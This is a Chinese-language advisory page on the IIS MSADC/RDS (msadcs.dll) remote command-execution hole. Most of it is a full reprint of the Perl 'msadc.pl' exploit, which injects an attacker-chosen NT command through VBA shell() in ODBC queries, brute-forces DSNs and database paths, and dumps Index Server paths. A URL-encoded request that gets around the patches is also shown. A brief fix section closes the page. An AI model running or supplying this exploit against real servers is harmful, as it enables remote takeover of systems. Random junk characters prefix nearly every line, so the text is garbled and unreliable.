IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>;]S+^dXY xU2i&il^! 涉及程序：
s?"\+b Microsoft NT server
k0&FUO 2Jky,YLcb 描述：
f,kV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G)?j(El
<00nu'Ex1v 详细：
\x<,Ma=D 如果你没有时间读详细内容的话，就删除:
QL @SE@" c:\Program Files\Common Files\System\Msadc\msadcs.dll
&lID6{7 9Z 有关的安全问题就没有了。
g##<d(e! } H ?eG5 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
2c51kG77E DxD\o+:r 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
lD'^ 6 关于利用ODBC远程漏洞的描述，请参看:
mE;^B%v !u:Fn)j http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7yJE+o ' A#{I- *D[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
p I.~j]*:{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }
@
[!%hE G*=&yx."E 这里不再论述。
KzX)6 |g{" i03= Af3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
mq}UUk@ uP$ i2Cy /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c_,pd 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
d04gmc&* G0kF[8Am G O"E>FyB #将下面这段保存为txt文件，然后: "perl -x 文件名"
_>)@6srC qW*k|;S #!perl
G ({5Lj gW #
QkWEVL@uM # MSADC/RDS 'usage' (aka exploit) script
fT{jD_Q+3 #
^Y !$WP # by rain.forest.puppy
H]*B5Jv~ #
^$mCF%e8H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4`'Rm/) # beta test and find errors!
dKP| TRd 4uH}
SG[ use Socket; use Getopt::Std;
RameaFX8 getopts("e:vd:h:XR", \%args);
Unansk dNCd-ep print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
's5H_ah K47.zu if (!defined $args{h} && !defined $args{R}) {
,<C~DSAyZ print qq~
[vz2< genn Usage: msadc.pl -h <host> { -d <delay> -X -v }
?)[=>Kp -h <host> = host you want to scan (ip or domain)
I. Xbowl -d <seconds> = delay between calls, default 1 second
Hq ~SRc~ -X = dump Index Server path table, if available
?r*}1 WsH -v = verbose
' R2*3< -e = external dictionary file for step 5
=(~*8hJ 1H\5E~X Or a -R will resume a command session
Ted tmX$ < WbO&;% ~; exit;}
S ;/pm$?/ !]9qQ7+R% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yRD tPK"E- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>p#_ L^oZ% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
OlptO60{ ] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
D+N@l"U{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_RS
CyV if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f
=A#:d \ [M4[Qlq if (!defined $args{R}){ $ret = &has_msadc;
.Wi%V" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[w-#
!X2y ?!$Dr0r print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0'Qvis[kt . "cmd /c ";
dtj b(*x $in=<STDIN>; chomp $in;
82V;J 8T? $command="cmd /c " . $in ;
hD7vjg& Z !HtW~8|: if (defined $args{R}) {&load; exit;}
oA:`=f%\ .
Y$xNLoP[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]dV $H &try_btcustmr;
a[,p1}!_ l)~$/#k print "\nStep 2: Trying to make our own DSN...";
h#dfh cU> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5Vdy:l 1(_[awBx print "\nStep 3: Trying known DSNs...";
Su[(IMw &known_dsn;
E$A=*-u @7;}6,) print "\nStep 4: Trying known .mdbs...";
h`eHoKJ #w &known_mdb;
h Fan$W $ '*Tt$0#o if (defined $args{e}){
yn f!1!4 print "\nStep 5: Trying dictionary of DSN names...";
&OkPO| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Y4lN xvY |VjD. ]I print "Sorry Charley...maybe next time?\n";
5 /T#>l< exit;
h Z/p' 7AqbfLO ##############################################################################
'|*e4n b_u;
`^ sub sendraw { # ripped and modded from whisker
e2> AL sleep($delay); # it's a DoS on the server! At least on mine...
>5TXL OYZ my ($pstr)=@_;
)4hA Fy6l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.81 ~ K[ die("Socket problems\n");
:22wq{ if(connect(S,pack "SnA4x8",2,80,$target)){
%h;1}SFl0 select(S); $|=1;
TTWi wPo59 print $pstr; my @in=<S>;
|+JC'b?, select(STDOUT); close(S);
ccx0aC3@I return @in;
bj_/ } else { die("Can't connect...\n"); }}
Z.rhM[*+0C >z% WW&Z' ##############################################################################
c+O:n:L I]pz3!On4, sub make_header { # make the HTTP request
| Ho}
D ~ my $msadc=<<EOT
&' y}L' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
B?e]
H t User-Agent: ACTIVEDATA
r%>7n,+o Host: $ip
K( ?p]wh Content-Length: $clen
kbbHa_;aqV Connection: Keep-Alive
rt?*eC1b+Z aZ|S$-} ADCClientVersion:01.06
W[e2J&G Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?(}~ [ h&!$ `) --!ADM!ROX!YOUR!WORLD!
^&c &5S} Content-Type: application/x-varg
~fzuz'"^ Content-Length: $reqlen
TN08 ,:k pX$ X8z% EOT
F}@]Lq+ ; $msadc=~s/\n/\r\n/g;
)jjaY1E return $msadc;}
H;DjM;be ^X"x,8}&V ##############################################################################
A!uiM*"W Jp_ :. 4 sub make_req { # make the RDS request
r
Cz, XYV my ($switch, $p1, $p2)=@_;
jfam/LL{V my $req=""; my $t1, $t2, $query, $dsn;
Adf nd r;>.*60AT if ($switch==1){ # this is the btcustmr.mdb query
10GU2a$0"$ $query="Select * from Customers where City=" . make_shell();
m%.[|sZ3EM $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gO @LJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uu>R)iTQ%S Zw<<p|{)< elsif ($switch==2){ # this is general make table query
?+%bE Z` $query="create table AZZ (B int, C varchar(10))";
N|
P?!G-= $dsn="$p1";}
FF|M7/[~ [o7Qr?RN elsif ($switch==3){ # this is general exploit table query
=+[` 9 $query="select * from AZZ where C=" . make_shell();
F[)tg#}@G $dsn="$p1";}
"5EL+z3v 6?JvvS5 elsif ($switch==4){ # attempt to hork file info from index server
q]s_ hWWv $query="select path from scope()";
t\v~ A0 $dsn="Provider=MSIDXS;";}
*<h )q)HS ~~m(CJ4S elsif ($switch==5){ # bad query
| 1e//* $query="select";
}KNBqPo4B $dsn="$p1";}
ZqjLZ9?q : &~LPmJ $t1= make_unicode($query);
$U)nrn i $t2= make_unicode($dsn);
P md5P:n*, $req = "\x02\x00\x03\x00";
M7-2;MZ $req.= "\x08\x00" . pack ("S1", length($t1));
_kBx2>qQ $req.= "\x00\x00" . $t1 ;
?N@[R]; $req.= "\x08\x00" . pack ("S1", length($t2));
zH#urF6< $req.= "\x00\x00" . $t2 ;
5{v uN)K3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0h{&k7T<7 return $req;}
GNHW bC6_m OsRizcgdA ##############################################################################
UgZL<} g'2; /// sub make_shell { # this makes the shell() statement
F%O+w;J4 return "'|shell(\"$command\")|'";}
<,U$Y> mHH >qW{` ##############################################################################
Lzcea+*uw 1 xO-tIp/ sub make_unicode { # quick little function to convert to unicode
YlR9
1L X my ($in)=@_; my $out;
%u2",eHCB for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4[Wwm return $out;}
,pVe@ d' $H&:R&Us ##############################################################################
A!}Ps" Z i|28:FJA sub rdo_success { # checks for RDO return success (this is kludge)
fP$rOJ)P my (@in) = @_; my $base=content_start(@in);
"g!ek3w( if($in[$base]=~/multipart\/mixed/){
}'n]C| gZ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2R;#XmKS return 0;}
x,fL65 6t IlB*JJ nl ##############################################################################
.Sv/0&O @ 18}'k sub make_dsn { # this makes a DSN for us
l 3 jlKB my @drives=("c","d","e","f");
,3!4
D^ print "\nMaking DSN: ";
Q5sJ|]Bc foreach $drive (@drives) {
yW"[}L h4 print "$drive: ";
a zO7C*_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*55unc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
n8`WU3& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
D#^euNiWd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
u*rHKZ9i return 0 if $2 eq "404"; # not found/doesn't exist
q0NToVo@ if($2 eq "200") {
*9EW &Ek foreach $line (@results) {
"98 j-L=F+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
dyohs_ } return 0;}
%8d]JQ r @
! ##############################################################################
H ?V
b 6)>otB 8)J sub verify_exists {
U\-R'Z>M my ($page)=@_;
rZ2 cC# my @results=sendraw("GET $page HTTP/1.0\n\n");
_6g(C_m'T? return $results[0];}
s=556 Py?Q:: ##############################################################################
$ ?|;w,%I = hY/Yr%P sub try_btcustmr {
4U u`1gtz my @drives=("c","d","e","f");
2^f7GP my @dirs=("winnt","winnt35","winnt351","win","windows");
5 Yww,s oY7jj=z#T foreach $dir (@dirs) {
*.Z~f"SZy* print "$dir -> "; # fun status so you can see progress
6qWWfm/6 foreach $drive (@drives) {
,zxv>8Nt print "$drive: "; # ditto
\Pe+]4R-Xo $reqlen=length( make_req(1,$drive,$dir) ) - 28;
J"TF@7{p $reqlenlen=length( "$reqlen" );
X} g3[ $clen= 206 + $reqlenlen + $reqlen;
,,BWWFg~ `; j$] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
3e1P!^'\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
% iZM9Q&NC else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
: LT'#Q8 2IUd?i3~l ##############################################################################
;mPX8bT nlaW$b{= sub odbc_error {
P]armg% my (@in)=@_; my $base;
t+{vb S 0 my $base = content_start(@in);
'|<S`,'#hg if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&:1q3 gDm $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\xQu*M:! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7:<A_OLi $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h Vu i.] return $in[$base+4].$in[$base+5].$in[$base+6];}
!(Y,2{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G.PRPl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ba** S8{/` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
:\y' ?d- Q II Amx[ b ##############################################################################
L |6I Z[eWey _ sub verbose {
2( m#WK7>F my ($in)=@_;
qwO@>wQ}~ return if !$verbose;
N,3iSH=cN[ print STDOUT "\n$in\n";}
?-)v{4{s 8 )n g> l ##############################################################################
?GW}:'z ;~'& m sub save {
ZDov2W my ($p1, $p2, $p3, $p4)=@_;
@PctBS<s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(NN;1{DB8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(t@ :dW close OUT;}
S5d 0N$FIw2 ##############################################################################
%$i}[ U ^)(tO$S sub load {
? Dn} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
MH 9vg5QKp open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+_+j"B T @p=<IN>; close(IN);
g4952u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=itQ@ ``r $target= inet_aton($ip) || die("inet_aton problems");
/ :6|)AW.{ print "Resuming to $ip ...";
]hoq!:>M1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k+vfZ9bD(J if($p[1]==1) {
`csZ*$7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ga( k2Q;y $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*ZxurbX# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}r!hm?e if (rdo_success(@results)){print "Success!\n";}
3dSC`K else { print "failed\n"; verbose(odbc_error(@results));}}
_uXb>V*8 elsif ($p[1]==3){
J_.cC if(run_query("$p[3]")){
b dG@%K', print "Success!\n";} else { print "failed\n"; }}
F \ |4zM elsif ($p[1]==4){
P,9Pn)M| if(run_query($drvst . "$p[3]")){
b4WH37,lA print "Success!\n"; } else { print "failed\n"; }}
3!vzkB r exit;}
-'SA &[7dP _A] )q ##############################################################################
" 0m4&K(3, h9#)Eo sub create_table {
UGj | )/ my ($in)=@_;
f c9@l a $reqlen=length( make_req(2,$in,"") ) - 28;
]5Dh<QY&. $reqlenlen=length( "$reqlen" );
${e V3LSC $clen= 206 + $reqlenlen + $reqlen;
Q WEE%}\3} my @results=sendraw(make_header() . make_req(2,$in,""));
Ak8Y?#"wz return 1 if rdo_success(@results);
\4^rb?B my $temp= odbc_error(@results); verbose($temp);
(<8}un return 1 if $temp=~/Table 'AZZ' already exists/;
D W^Zuu/) return 0;}
,wXmJ)/WZ :7mHPe }( ##############################################################################
14 jN0\ 4e#$ -V sub known_dsn {
w6WPfy(/2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)%3T1
D/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Pg{1' - "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.T3 m%n "banner", "banners", "ads", "ADCDemo", "ADCTest");
T ~(Sc'8 m}\QGtJ6 foreach $dSn (@dsns) {
>#k-
~|w print ".";
^YropzHZ4E next if (!is_access("DSN=$dSn"));
o?m/ if(create_table("DSN=$dSn")){
h /^bRs`; print "$dSn successful\n";
[.1ME lM if(run_query("DSN=$dSn")){
PMV,*`"9"A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RtzS e$O print "Something's borked. Use verbose next time\n";}}} print "\n";}
: GO"bsjL LO>42o?/i ##############################################################################
%dv?n#Uf M
+r!63T sub is_access {
$(Mz@#% my ($in)=@_;
7.6L1srV $reqlen=length( make_req(5,$in,"") ) - 28;
?Ve I lD $reqlenlen=length( "$reqlen" );
`fTM/" $clen= 206 + $reqlenlen + $reqlen;
Y)+q[MZ R my @results=sendraw(make_header() . make_req(5,$in,""));
+yHz7^6-5 my $temp= odbc_error(@results);
\Z& Nd;o verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-TH MTRFz return 0;}
$2?j2}M IA({RE ##############################################################################
mbGm a P(TBFu sub run_query {
XclTyUGoK+ my ($in)=@_;
8.Y|I5l7G $reqlen=length( make_req(3,$in,"") ) - 28;
aR/?YKA $reqlenlen=length( "$reqlen" );
RZ xw r $clen= 206 + $reqlenlen + $reqlen;
=R|XFZ, my @results=sendraw(make_header() . make_req(3,$in,""));
%0N
HU`j return 1 if rdo_success(@results);
W ';X4e my $temp= odbc_error(@results); verbose($temp);
6 CIzT. return 0;}
-p.\fvip 7-!n- ##############################################################################
DQm%=ON7 Zo y O[# sub known_mdb {
V L$
T my @drives=("c","d","e","f","g");
NX.xE W@ my @dirs=("winnt","winnt35","winnt351","win","windows");
OmO#} k< my $dir, $drive, $mdb;
G7Sw\wW my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,1$F #Eh uMS+,dXy # this is sparse, because I don't know of many
y{>f^S< my @sysmdbs=( "\\catroot\\icatalog.mdb",
?! 6Itkg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
$?G@ijk , "\\system32\\certmdb.mdb",
|f#hGk6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
pX?3inQP%( - 6HwG fU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
xI{4<m/0N "\\cfusion\\cfapps\\forums\\forums_.mdb",
q`b6if" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Z,A $h >Z "\\cfusion\\cfapps\\security\\realm_.mdb",
dQ.# 8o= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
UI+6\ 3 "\\cfusion\\database\\cfexamples.mdb",
O 'mcN* "\\cfusion\\database\\cfsnippets.mdb",
Mm R6V#@: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]f0'YLG "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.Dr !\.hL "\\cfusion\\brighttiger\\database\\cleam.mdb",
c{BAQZVc "\\cfusion\\database\\smpolicy.mdb",
wG3b{0 "\\cfusion\\database\cypress.mdb",
f 7lj,GAZ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
yXJ25Axb "\\website\\cgi-win\\dbsample.mdb",
DfD
>hf/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
. : Wf>: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
C,Nf|L((6 ); #these are just
1 _?8 OU foreach $drive (@drives) {
!m+Pd.4TaB foreach $dir (@dirs){
>|E]??v foreach $mdb (@sysmdbs) {
5M0Q '"`F: print ".";
L(VFzPkY% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
zVq!M-e print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f\]?, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<gkE,e9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
alaL/p{O } else { print "Something's borked. Use verbose next time\n"; }}}}}
Yi*F; V &>,;ye>A foreach $drive (@drives) {
K8;SE ! foreach $mdb (@mdbs) {
,,gMUpL7_8 print ".";
iZ-R%- }B if(create_table($drv . $drive . $dir . $mdb)){
.ybmJU*Hg print "\n" . $drive . $dir . $mdb . " successful\n";
w`)5(~b if(run_query($drv . $drive . $dir . $mdb)){
Mw/9DrE7/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`$B?TNuch7 } else { print "Something's borked. Use verbose next time\n"; }}}}
~oa}gJl:}- }
-WlYH W c$Kc,`2m7 ##############################################################################
#1DEZ4]jjY vW 1^ sub hork_idx {
Y 3BJ@sqz print "\nAttempting to dump Index Server tables...\n";
$ 3^M-w print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@M5 +12FYt $reqlen=length( make_req(4,"","") ) - 28;
Lt't $reqlenlen=length( "$reqlen" );
N}?| ik $clen= 206 + $reqlenlen + $reqlen;
GfE>?mG my @results=sendraw2(make_header() . make_req(4,"",""));
d:(Ex^^ if (rdo_success(@results)){
L,[Q/ $S8 my $max=@results; my $c; my %d;
a)QT#. for($c=19; $c<$max; $c++){
1;tt wF>G7 $results[$c]=~s/\x00//g;
9|1msg4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$r/ $aq=K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}qn>#ETi $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#'_#t/u $d{"$1$2"}="";}
V]F D'XAl foreach $c (keys %d){ print "$c\n"; }
'[
t. } else {print "Index server doesn't seem to be installed.\n"; }}
,a?)O6?/ gyw=1q+ ##############################################################################
|LZ;2 i eiKY az sub dsn_dict {
h0tiWHw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
P R%)3 while(<IN>){
)@NFV*@I $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
i 1vz{Tc next if (!is_access("DSN=$dSn"));
d4 S4
e if(create_table("DSN=$dSn")){
V *j l print "$dSn successful\n";
)QE6X67i if(run_query("DSN=$dSn")){
&B{zS K$N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Qn* l,Z]US print "Something's borked. Use verbose next time\n";}}}
-V/y~/]J print "\n"; close(IN);}
^k=<+ *9 I2 [Z0G@&= ##############################################################################
<=M 5)# d @R7b^#g sub sendraw2 { # ripped and modded from whisker
E(~7NRRm sleep($delay); # it's a DoS on the server! At least on mine...
4&mY-N7A my ($pstr)=@_;
3Z XAAV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LZV- E=` die("Socket problems\n");
r1L@p[> if(connect(S,pack "SnA4x8",2,80,$target)){
lL)f-8DX print "Connected. Getting data";
\sNgs#{7E7 open(OUT,">raw.out"); my @in;
/ox7$|Jyr select(S); $|=1; print $pstr;
Hd~g\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/mkT7,] close(OUT); select(STDOUT); close(S); return @in;
q<&1,^ A } else { die("Can't connect...\n"); }}
hIe .Mv-I) jJ#D`iog5 ##############################################################################
g0B] ;Y>( s2O()u- sub content_start { # this will take in the server headers
ip-X r|Bq my (@in)=@_; my $c;
|a{; <a for ($c=1;$c<500;$c++) {
COh#/- `\1 if($in[$c] =~/^\x0d\x0a/){
q\EYsN </; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!mlfG "FE else { return $c+1; }}}
hVz yvpw return -1;} # it should never get here actually
J&A1]T4d Ib..X&N2 ##############################################################################
<?.eU<+O`S A9xe Oy8e sub funky {
//63|;EEkl my (@in)=@_; my $error=odbc_error(@in);
Fv^zSoi2 if($error=~/ADO could not find the specified provider/){
` UsJaoR#f print "\nServer returned an ADO miscofiguration message\nAborting.\n";
v "k ? e exit;}
3``JrkPI if($error=~/A Handler is required/){
5#.m'a) print "\nServer has custom handler filters (they most likely are patched)\n";
w6vbYPCN exit;}
KuJ)alD;1 if($error=~/specified Handler has denied Access/){
}4C_r'd6 print "\nServer has custom handler filters (they most likely are patched)\n";
1-y8Hy_a2 exit;}}
6>]_H(z7 <2pp6je\0s ##############################################################################
6Z_V,LD9L a|t~&\@ sub has_msadc {
/a1uG]Mt my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
w%]) my $base=content_start(@results);
(<Cq_K w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
t\Vng 0 return 0;}
)E9!m 2.v { W-D[ ########################
v9f+ {Y%- jEBn"]\D oMbd1uus 解决方案：
: s
* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|5~Oh`w 2、移除web 目录: /msadc
